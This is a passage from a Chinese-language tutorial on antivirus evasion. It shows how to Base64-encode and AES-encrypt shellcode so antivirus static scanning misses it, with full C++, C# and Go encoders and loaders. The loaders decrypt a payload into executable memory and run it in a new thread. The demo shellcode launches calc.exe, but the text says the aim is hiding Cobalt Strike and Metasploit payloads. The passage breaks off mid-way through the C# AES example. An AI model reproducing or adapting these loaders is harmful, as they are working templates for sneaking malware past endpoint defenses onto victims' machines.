onedaybook
  • 关于这个博客
  • C2工具原理分析
    • C2工具原理分析:从生成shellcode到上线CS服务器全过程
  • DevilC2工具开发
    • 关于这个项目
  • Rootkit工具开发
  • EvilLoader工具开发
  • 免杀
    • 问鼎免杀之路
      • 序言
      • 第一章-基础
        • 0-基础
        • 1-PE的相关数据结构
        • 2-WindowsAPI
        • 3-混淆加密
        • 4-特征修改
        • 5-分离
        • 6-转换
        • 7-保护
      • 第二章-执行与注入技术
        • 0-创建线程注入(CreateThread Injection)
        • 1-创建纤程注入(CreateFiber Injection)
        • 2-创建远程线程注入(CreateRemoteThread Injection)
        • 3-创建堆注入(HeapCreate Injection)
        • 4-创建线程池注入(CreateThreadpoolWait Injection)
        • 5-进程镂空注入(Process Hollowing Injection)
        • 6-DLL镂空注入(DLL Hollowing Injection)
        • 7-DLL劫持注入(涉及白加黑)
        • 8-映射注入(Mapping Injection)
        • 9-MapViewOfFile+NtMapViewOfSection
        • 10-挂钩注入(SetWindowsHookEx Injection)
        • 11-注册表注入
        • 12-设置上下文劫持注入(SetContext Hijack Injection)
        • 13-剪贴板注入(Clipboard Injection)
        • 14-突破session 0远程线程注入
        • 15-枚举RWX区域注入
        • 16-APC注入(APC Injection)
        • 17-APC & NtTestAlert Injection
        • 18-APC劫持
        • 19-Early Bird
        • 20-基于资源节加载shellcode
        • 21-内核回调表注入(KernelCallbackTable Injection)
        • 22-自举的代码幽灵——反射DLL注入(Reflective DLL Injection)
        • 23-内存申请总结
        • 24-移动或复制shellcode总结
        • 25-shellcode执行总结
      • 第三章-防御规避
        • 0-动态获取API函数(又称隐藏IAT)
        • 1-重写ring3 API函数
        • 2-自定义 String 哈希算法
      • 第四章-武器化
        • 0-Windows Shellcode开发
        • 1-Windows Shellcode开发(x86 stager)
        • 2-Windows Shellcode开发(x64 stager)
        • 3-Linux Shellcode开发(Stager & Reverse Shell)
        • 4-非PEB获取ntdll和kernel32模块基址的精妙之道
        • 5-从SRDI原理剖析再到PE2Shellcode的实现
      • 第五章-主动进攻
      • 第六章-社工钓鱼
    • 随笔
      • 0-用哥斯拉插件零基础免杀上线msf和cs
      • 1-新版RDI
      • 2-新新版RDI
  • 权限提升
  • 数字取证/应急响应
  • 工具二开
    • 哥斯拉二开
      • 环境准备
  • 代码审计
  • PWN
    • ret2text
    • ret2shellcode
    • ret2syscall
    • ret2libc1
    • ret2libc2
    • ret2libc3
Powered by GitBook
On this page
  • 一、base64编码
  • 1.1 C++
  • 1.2 CSharp
  • 1.3 Go
  • 二、AES加密
  • 2.1 C++
  • 2.2 CSharp
  • 2.3 Go
  • 三、RSA加密
  • 3.1 C++
  • 3.2 CSharp
  • 3.3 Go
  • 四、RC4加密
  • 4.1 C++
  • 4.2 CSharp(自实现)
  • 4.3 Go
  • 五、XOR(异或)
  • 5.1 C++
  • 5.2 CSharp
  • 5.3 Go
  • 六、SGN工具
  • 七、小结
  1. 免杀
  2. 问鼎免杀之路
  3. 第一章-基础

3-混淆加密

明确几点:

  1. 为什么要混淆加密?因为杀软在静态扫描木马文件的时候会进行特征匹配,而cs和msf或者一些无恶意但是被黑客用于测试的shellcode的特征已被杀软收集,所以为了过静态查杀,有必要对shellcode进行混淆加密

  2. 下面提到的各种加密方式不要求掌握原理,但是要明白如何使用,且要搞懂数据类型是如何变换的

  3. 加密版,是自己留存不对外公布的,加密版的有些数据是要自己填写的,比如明文(大部分情况是shellcode)、key、iv、公钥。解密版,是出现在shellcode加载器中,用于解密数据的,解密版的有些数据是要自己填写的,比如密文、key、iv、私钥

  4. 从这一小节开始到第三章-防御规避之前我都不会提到木马的免杀效果如何,因为不使用防御规避技术,谈免杀木马的效果怎么样都是毫无意义的(个人认为)。不过,学完前两章,你的免杀木马可以过一些普通的杀软。

32位的calc的shellcode

0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00

64位的calc的shellcode

0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3

如果不能弹出计算器,可能是编译程序位数不对。

一、base64编码

Base64 编码对于大多数人来说应该是一个相对熟悉的编码方式。它是一种将二进制数据转换为字符串格式的编码方式,常用于在需要以文本形式传输数据的场景中。

在免杀中它的作用是

  1. 一定的混淆作用

  2. 方便传输二进制数据,因为Base64 编码的字符串是由可打印字符组成的,这使得它在许多情况下非常适合传输二进制数据。这一个功能我认为才是最重要的

下面我将介绍在C/C++、C#、Go中如何使用Base64编码

1.1 C++

由于C++的标准库中没有实现base64编码,想要实现base64编码有两种方法

  1. 自实现base64编码

  2. 使用第三分库,如OpenSSL

因为base64编码的实现不是太复杂,所以我只介绍第一种方式:自实现base64编码。

加密版

#include <iostream>
#include <string>
#include <vector>

// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// 编码函数
std::string base64_encode(const std::string& input) {
    std::string encoded;
    int val = 0, valb = -6;

    for (unsigned char c : input) {
        val = (val << 8) + c;
        valb += 8;
        while (valb >= 0) {
            encoded.push_back(base64_chars[(val >> valb) & 0x3F]);
            valb -= 6;
        }
    }

    if (valb > -6) {
        encoded.push_back(base64_chars[((val << 8) >> valb) & 0x3F]);
    }

    while (encoded.size() % 4) {
        encoded.push_back('=');
    }

    return encoded;
}

int main() {
    //弹出计算器的shellcode 
    unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
        "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
        "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
        "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
        "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
        "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
        "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
        "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
        "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
        "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
        "\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
        "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
        "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
        "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

    size_t len = sizeof(shellcode) / sizeof(shellcode[0]);
    std::string str;
    str.assign(reinterpret_cast<const char*>(shellcode), len);

    // Base64 编码
    std::string encoded = base64_encode(str);
    std::cout << "Encoded: " << encoded << std::endl;

    return 0;
}

解密版

#include <iostream>
#include <string>
#include <vector>
#include <windows.h>
// Base64 字符表
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// 解码函数
std::vector<unsigned char> base64_decode(unsigned char* input, size_t length) {
    std::vector<int> T(256, -1);
    for (int i = 0; i < 64; i++) {
        T[static_cast<int>(base64_chars[i])] = i;
    }

    std::vector<unsigned char> decoded;
    int val = 0, valb = -8;

    for (size_t i = 0; i < length; ++i) {
        if (T[input[i]] == -1) break; // 处理无效字符
        val = (val << 6) + T[input[i]];
        valb += 6;
        if (valb >= 0) {
            decoded.push_back(static_cast<unsigned char>((val >> valb) & 0xFF));
            valb -= 8;
        }
    }

    return decoded;
}

int main() {

    // base64编码的字符串
    const char* base64string = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAAB=";

    size_t len = strlen(base64string);
    // Base64 解码
    std::vector<unsigned char> decoded = base64_decode((unsigned char*)base64string, len);


    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decoded.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decoded.data(), decoded.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    return 0;
}

1.2 CSharp

在 C# 中,Base64 编码和解码可以通过 System.Convert 类非常方便地实现。

  1. Convert.ToBase64String可以将无符号的字节数组转换为等效的base64字符串

  2. Convert.FromBase64String 可以将base64字符串转换为无符号的字节数组

  3. 在C# 中无符号字节数组为的数据类型为 byte[]

加密版

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace _1._3_加密
{
    internal class Program
    {
        // 弹出计数器的Shellcode
        private static byte[] buf = new byte[]
        {
        0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
        0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
        0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
        0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
        0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
        0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
        0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
        0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
        0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
        0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
        0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
        0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
        0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
        0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
        };

        static void Main(string[] args)
        {
            //base64编码后的字符串
            string encoded = Convert.ToBase64String(buf);

            //输出字符串
            Console.WriteLine(encoded);
            Console.ReadKey();
        }
    }
}

解密版

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace _1._3_解密
{
    internal class Program
    {
        // 声明 Windows API 函数
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

        [DllImport("kernel32.dll")]
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);

        static void Main(string[] args)
        {
            //base64编码后的字符串
            string encoded = "/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==";
            
            //base64解密之后得到byte[]类型的shellcode
            byte[] shellcode = Convert.FromBase64String(encoded);

            // 申请可执行内存
            IntPtr pMemory = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);

            // 将 shellcode 复制到申请的内存
            Marshal.Copy(shellcode, 0, pMemory, shellcode.Length);

            // 创建线程执行内存中的代码
            uint threadId;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMemory, IntPtr.Zero, 0, out threadId);

            // 等待线程执行完成
            WaitForSingleObject(hThread, 0xFFFFFFFF);

            // 释放内存(可选)
            VirtualFree(pMemory, 0, 0x8000);
        }
    }
}

1.3 Go

在 Go 语言中,可以使用内置的 encoding/base64 包来实现 Base64 编码和解码

加密版

package main  
  
import (  
    "encoding/base64"  
    "fmt")  
  
func main() {  
    // 原始shellcode  
    shellcode := []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,  
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,  
       0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,  
       0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,  
       0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,  
       0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,  
       0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,  
       0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,  
       0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,  
       0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,  
       0x5A, 0x59, 0x58, 0xC3}  
  
    //Base64编码后的数据  
    encoded := base64.StdEncoding.EncodeToString(shellcode)  
  
    //输出  
    fmt.Printf("base64编码后的字符串:%s", encoded)  
}

解密版

package main  
  
import (  
    "encoding/base64"  
    "golang.org/x/sys/windows"    
    "unsafe")  
  
func main() {  
    // 待解密的字符串  
    str := "UFFSU1ZXVWpgWmhjYWxjVFlIg+woZUiLMkiLdhhIi3YQSK1IizBIi34wA1c8i1wXKIt0HyBIAf6LVB8kD7csF41SAq2BPAdXaW5Fde+LdB8cSAH+izSuSAH3mf/XSIPEMF1fXltaWVjD"  
  
    // 解密  
    shellcode, _ := base64.StdEncoding.DecodeString(str)  
  
    //申请内存  
    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)  
  
    //   复制shellcode到内存  
    ntdll := windows.NewLazySystemDLL("ntdll.dll")  
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")  
    _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))  
  
    //   修改内存权限为可执行  
    var oldProtect uint32  
    _ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &oldProtect)  
  
    //   创建线程  
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")  
    CreateThread := kernel32.NewProc("CreateThread")  
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)  
    _, _ = windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)  
}

二、AES加密

AES(高级加密标准)是一种对称加密算法,广泛用于数据保护,它适用于大量数据传输过程中需要加密的场景。

2.1 C++

因为C++的标准库没有实现AES加密算法,又因为自实现AES加密算法太过复杂,我推荐借助第三方库OpenSSL来完成AES加密与解密。当然后面介绍的RSA和RC4也需要用到OpenSSL,所以请读者提前下载,并给Visual Studio添加OpenSSL,这一点很关键。

请下载Win64版。当然Win32和Win64都可以下载,只是两个同时存在时,环境配置和各个库之间的切换很复制,不推荐两个同时下载。

加密版

#include <iostream>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <iomanip>
#include <vector>
#include <cstring> // for memcpy

// 安全的随机密钥和IV生成
void generateSecureKeyAndIV(unsigned char* key, unsigned char* iv) {
    if (RAND_bytes(key, AES_BLOCK_SIZE) != 1) {
        std::cerr << "密钥生成失败" << std::endl;
        exit(1);
    }
    if (RAND_bytes(iv, AES_BLOCK_SIZE) != 1) {
        std::cerr << "IV生成失败" << std::endl;
        exit(1);
    }
}

// PKCS7填充
void pad(std::vector<unsigned char>& input) {
    int padValue = AES_BLOCK_SIZE - (input.size() % AES_BLOCK_SIZE);
    for (int i = 0; i < padValue; ++i) {
        input.push_back(padValue);
    }
}

// 安全的AES加密
void aes_encrypt(const std::vector<unsigned char>& plaintext,
    std::vector<unsigned char>& ciphertext,
    const unsigned char* key,
    unsigned char* iv) {
    ciphertext.resize(plaintext.size());

    // 保存原始IV,因为AES_cbc_encrypt会修改IV
    unsigned char iv_copy[AES_BLOCK_SIZE];
    memcpy(iv_copy, iv, AES_BLOCK_SIZE);

    AES_KEY encryptKey;
    if (AES_set_encrypt_key(key, 128, &encryptKey) != 0) {
        std::cerr << "设置加密密钥失败" << std::endl;
        return;
    }

    AES_cbc_encrypt(plaintext.data(), ciphertext.data(), plaintext.size(),
        &encryptKey, iv_copy, AES_ENCRYPT);
}

// 输出十六进制格式的函数
void printHex(const unsigned char* data, size_t length) {
    for (size_t i = 0; i < length; ++i) {
        std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if (i < length - 1) {
            std::cout << ", "; // 在每个字节后添加逗号和空格
        }
    }
    std::cout << std::dec << std::endl; // 恢复为十进制
}

int main() {
    // 自定义密钥和IV
    unsigned char key[AES_BLOCK_SIZE];
    unsigned char iv[AES_BLOCK_SIZE];

    // 生成安全的密钥和IV
    generateSecureKeyAndIV(key, iv);

    // Shellcode数据
    std::vector<unsigned char> plaintext = {
       0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
       0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28,
       0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B,
       0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E,
       0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74,
       0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
       0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07,
       0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
       0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
       0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E, 0x5B,
       0x5A, 0x59, 0x58, 0xC3
    };

    std::vector<unsigned char> ciphertext;

    // 打印原始信息
    std::cout << "原始明文: ";
    std::cout << "原始数据长度: " << plaintext.size() << " 字节" << std::endl;

    // 填充数据
    pad(plaintext);

    // 加密
    aes_encrypt(plaintext, ciphertext, key, iv);

    std::cout << "密文: ";
    std::cout << "密文长度: " << ciphertext.size() << " 字节" << std::endl;
    printHex(ciphertext.data(), ciphertext.size());

    // 打印密钥和IV的十六进制表示
    std::cout << "密钥 (Key): ";
    printHex(key, AES_BLOCK_SIZE);

    std::cout << "初始化向量 (IV): ";
    printHex(iv, AES_BLOCK_SIZE);

    return 0;
}

运行结果

  1. 要将加密后的密文、密钥 (Key)、初始化向量 (IV)复制到解密版代码的相应位置处。

  2. 因为密钥 (Key)和初始化向量 (IV)是使用随机生成产生的,故每次运行加密版代码,密文、key和iv都是不一样的,一定要保存好Key和IV

解密版

#include <iostream>
#include <openssl/aes.h>
#include <iomanip>
#include <vector>
#include <windows.h>

// PKCS7去填充
void unpad(std::vector<unsigned char>& input) {
    if (input.empty()) return;

    int padValue = input.back();
    if (padValue > 0 && padValue <= AES_BLOCK_SIZE) {
        input.resize(input.size() - padValue);
    }
}

// 安全的AES解密
void aes_decrypt(const std::vector<unsigned char>& ciphertext,
    std::vector<unsigned char>& decryptedtext,
    const unsigned char* key,
    unsigned char* iv) {
    decryptedtext.resize(ciphertext.size());

    // 保存原始IV,因为AES_cbc_encrypt会修改IV
    unsigned char iv_copy[AES_BLOCK_SIZE];
    memcpy(iv_copy, iv, AES_BLOCK_SIZE);

    AES_KEY decryptKey;
    if (AES_set_decrypt_key(key, 128, &decryptKey) != 0) {
        std::cerr << "设置解密密钥失败" << std::endl;
        return;
    }

    AES_cbc_encrypt(ciphertext.data(), decryptedtext.data(), ciphertext.size(),
        &decryptKey, iv_copy, AES_DECRYPT);
}

// 输出十六进制格式的函数
void printHex(const unsigned char* data, size_t length) {
    for (size_t i = 0; i < length; ++i) {
        std::cout << "0x" << std::hex << std::setw(2) << std::setfill('0') << (int)data[i];
        if (i < length - 1) {
            std::cout << ", "; // 在每个字节后添加逗号和空格
        }
    }
    std::cout << std::dec << std::endl; // 恢复为十进制
}

int main() {
    // 自定义密钥和IV(与加密时相同)
    unsigned char key[AES_BLOCK_SIZE] = { /*填入你的key */ };
    unsigned char iv[AES_BLOCK_SIZE] = { /*填入你的iv*/ };

    // 假设这里是从加密代码中获得的密文
    std::vector<unsigned char> ciphertext = {
        /*填入你的密文*/
    };

    std::vector<unsigned char> decryptedtext;

    // 解密
    aes_decrypt(ciphertext, decryptedtext, key, iv);

    // 去除填充
    unpad(decryptedtext);

    // 打印解密后的数据
    std::cout << "解密后数据: ";
    std::cout << "解密后数据长度: " << decryptedtext.size() << " 字节" << std::endl;
    printHex(decryptedtext.data(), decryptedtext.size());


    // 申请一块大小为buf字节数组长度的可读可行的内存区域
    LPVOID pMemory = VirtualAlloc(NULL, decryptedtext.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 将buf数组中的内容复制到刚刚分配的内存区域
    RtlMoveMemory(pMemory, decryptedtext.data(), decryptedtext.size());

    // 创建一个线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

记得填入key、iv和密文

注:

  1. std::vector 是 C++ 标准库中提供的一种动态数组容器,它属于 STL(标准模板库)的一部分。std::vector 提供了一个可变大小的数组,可以在运行时动态地增加或减少其大小。就个人编程习惯而言,我是觉得 std::vector 挺好用的。

  2. std::vector 有两个方法在免杀中用的比较多,就拿本例来说

    • decryptedtext.size() //获取动态数组的大小

    • decryptedtext.data() //获取动态数组的首地址,指针类型是 unsigned char*

运行结果

2.2 CSharp

在 C# 中实现 AES 加密相对简单,可以使用 System.Security.Cryptography 命名空间中的类

加密版

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;


namespace _1._3_加密
{
    internal class Program
    {
        // 弹出计数器的Shellcode
        private static byte[] buf = new byte[]
        {
        0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50,
        0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26,
        0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
        0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78,
        0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3,
        0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
        0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58,
        0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3,
        0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
        0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d,
        0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb,
        0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
        0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53,
        0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
        };

